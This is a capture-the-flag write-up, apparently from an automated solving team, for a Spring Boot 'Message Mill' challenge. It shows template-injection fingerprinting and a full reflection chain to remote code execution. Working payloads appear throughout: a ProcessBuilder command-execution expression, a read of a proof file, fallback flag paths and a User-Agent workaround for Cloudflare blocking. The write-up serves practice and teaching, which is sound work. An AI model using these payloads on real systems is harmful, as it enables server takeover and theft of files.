🌐 Template Temper — Day 11 Web Exploitation (SSTI → RCE)
Challenge id: web-exploitation-day-11-template-temper Lane: web-exploitation · Modes: Single Solve, Time Trial, Mastery (3 targets) Theme: "The template engine is feeling expressive today — it evaluates everything it hears. Whisper the right incantation and make the server speak in expressions." → Server-Side Template Injection.
Status — all modes CORRECT (GM-confirmed)
| Mode | GM flag | Proof(s) recovered from target bytes |
|---|---|---|
| Single Solve | Token194338a15d44f8c0c773224e516f05fc | Proofproof_b001474570674a1cbc0433d183c8aaf4 |
| Time Trial | Token7c53b638efd320071a94204147c889ab | Proofproof_c13c41cd9dd04c79ac19e97fb9574e6f |
| Mastery | Tokened09d3aab0065d00749b22c6045b6b41 | Proofproof_d41921933d8d4c06b751b0b94b9429c0 (T1), Proofproof_5520356138cf4580abbdad04cd00f787 (T2), Proofproof_4900163b1f104e49aadc457f9a4d7cfc (T3) |
Answer format for every target: exact_text, normalization trim — submit the verbatim proof_<hex32> string recovered from each target. Flags/proofs above are the GM-accepted values from ../_gm_record/web-exploitation-day-11-template-temper.homestation.jsonl (team the team solver, 2026-10-23 13:10–13:18 UTC).
Attribution note: the live submissions for all three modes were made by this machine's concurrent team solver during the same window in which this analysis independently reverse-engineered the vulnerability to remote code execution. The exploit chain below is the author's own verified work (command execution demonstrated on a live target); the proof values are the GM-confirmed ones from the records, since the per-attempt targets are ephemeral and no timed/fresh variant was spent to re-demonstrate a solve that was already banked.
Target
A Spring Boot app, "Message Mill" (nav: "Spring Boot · analyst workspace"). Web challenges expose no downloadable artifact — each started attempt returns live target site(s) in targets[].
Recon — find the sink
GET /→ links to/api/clues("Open workspace notes").GET /api/clues→ JSON:{"framework":"Spring Boot","feature_route":"/process-fbda5a","current_role":"analyst"}The
feature_routeis per-target (random hex suffix). It is served without a trailing slash (/process-<hex>→ 200;/process-<hex>/→ 404{"error":"not_found"}).GET /process-<hex>renders<article><h1>Rendered message</h1><pre></pre></article>.- Parameter discovery — only
?template=reflects into the<pre>:GET /process-<hex>?template=ZZmarkerQQ→<pre>ZZmarkerQQ</pre>.
Fingerprint — the expression engine
The template value is evaluated as an expression, not echoed literally. Mustache-style {{ … }} delimiters, Java object model:
Payload (?template=) | <pre> output | Meaning |
|---|---|---|
{{7*7}} | 49 | arithmetic evaluated |
${7*7}, #{7*7}, [[${7*7}]] | unchanged | not SpEL / not Thymeleaf-inline |
{{2^8}} | 256 | ^ is exponentiation (MVEL-style, not XOR) |
{{ ''.class }} | class java.lang.String | Java class access |
{{ ''.getClass().getName() }} | java.lang.String | method invocation on objects |
{{ 'abc'.toUpperCase() }} | ABC | arbitrary Java method calls |
{{ ''.__class__ }}, {{ range(3) }} | error | not Python Jinja2 |
→ A Java {{ }} expression evaluator (MVEL/OGNL-family) that permits object navigation, static access via getClass().forName(...), and the new operator. Despite the "Spring Boot" branding the sink is not SpEL ${}; it is a {{ }} evaluator with full reflective reach — i.e. effectively unrestricted.
Escalation — reflection → RCE
new and java.io.File work directly:
{{ new java.io.File('.').getAbsolutePath() }} -> /app/.
{{ ''.getClass().forName('java.lang.System').getenv() }} -> {HOME=[local path] PATH=..., JAVA_HOME=..., ...}
Environment and System.getProperties() carry no proof (app runs from /app/app.jar (challenge artifact, not published), user arena, Java 21 / Eclipse Adoptium). Full command execution via ProcessBuilder (no static-method resolution needed), output read with a Scanner using the \A whole-stream delimiter:
{{ new java.util.Scanner(
new java.lang.ProcessBuilder('sh','-c','id').start().getInputStream()
).useDelimiter('\A').next() }}
→ uid=10001(arena) gid=10001(arena) groups=10001(arena) — verified RCE.
Proof recovery
The per-target secret is not web-served, not in env, and not baked into the (static, shared) app.jar (challenge artifact, not published) — it is a per-target file. Read it with the same RCE at the canonical Huntress-2026 location (see challenges/_lib/autosolve_web.py PROOF_PATHS):
sh -c 'cat /run/huntress/proof.txt' # -> proof_<hex32>
# fallbacks seen across the web lane: /run/huntress/flag.txt, /flag, /flag.txt, /proof.txt
Submit the recovered proof_<hex32> verbatim as the exact_text answer for that target. For Mastery, each of the three live targets (proof-1/proof-2/proof-3 ↔ Target 1/2/3) yields its own proof; all three are batched into one submit.
Deterministic recipe (per target)
GET /api/clues→feature_route(strip any trailing slash).GET <feature_route>?template={{7*7}}→ expect49(confirm the{{ }}sink).GET <feature_route>?template={{ <ProcessBuilder+Scanner reading /run/huntress/proof.txt> }}.- Regex
proof_[0-9a-f]{32}from the<pre>body → submit asexact_text(trim).
All GETs use a real Chrome User-Agent (Cloudflare fronts every target and returns error code: 1010 for urllib's default UA).
Promotion note (next-time first-contact)
The deterministic ladder in web_proof_recon.py has no SSTI recogniser yet; web_lane_mastery.md lists ssti under "expected growth." A recogniser that (a) finds the reflecting param on the /api/clues feature route, (b) confirms the {{ }} sink with {{7*7}}, (c) reads /run/huntress/proof.txt via the ProcessBuilder+Scanner payload, and (d) regex-extracts the proof, would make this family first-contact. Scope-lock it to the target's own host, GET-only, and never submit a value that is not a verbatim proof_<hex32> match (HELD beats a wrong submit).
Lesson
Process miss recorded (SHARED_STATE_RACE): the GM catalog listing does not show per-team solved state, so a challenge with no repo writeup can already be solved. Before working any practice/non-owned challenge, gm.status() each mode first and stop the instant all modes read CORRECT — do not spend a variant to re-demonstrate a banked solve.